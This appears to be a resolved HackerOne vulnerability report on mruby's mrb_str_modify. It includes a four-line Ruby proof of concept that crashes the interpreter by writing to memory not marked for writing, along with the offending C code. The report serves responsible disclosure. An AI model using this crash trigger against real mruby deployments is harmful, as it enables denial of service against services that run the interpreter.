mrb_str_modify try to write to memory not marked for writing
Unknown
Vulnerability Details
The proof-of-concept below can be used to crash the interpreter (DoS) because forces it to try to write a memory not marked for writing.
```
a = Time.new.zone
a.rstrip!
GC.start
a.next!
```
Code
https://github.com/mruby/mruby/blob/5289b4ba117e66bdef1438ca754c894508a2447b/src/string.c#L668
```
if (shared->refcnt == 1 && s->as.heap.ptr == shared->ptr) {
s->as.heap.ptr = shared->ptr;
s->as.heap.aux.capa = shared->len;
RSTR_PTR(s)[s->as.heap.len] = '\0';
mrb_free(mrb, shared);
}
```
Actions
View on HackerOneReport Stats
- Report ID: 193077
- State: Closed
- Substate: resolved
- Upvotes: 6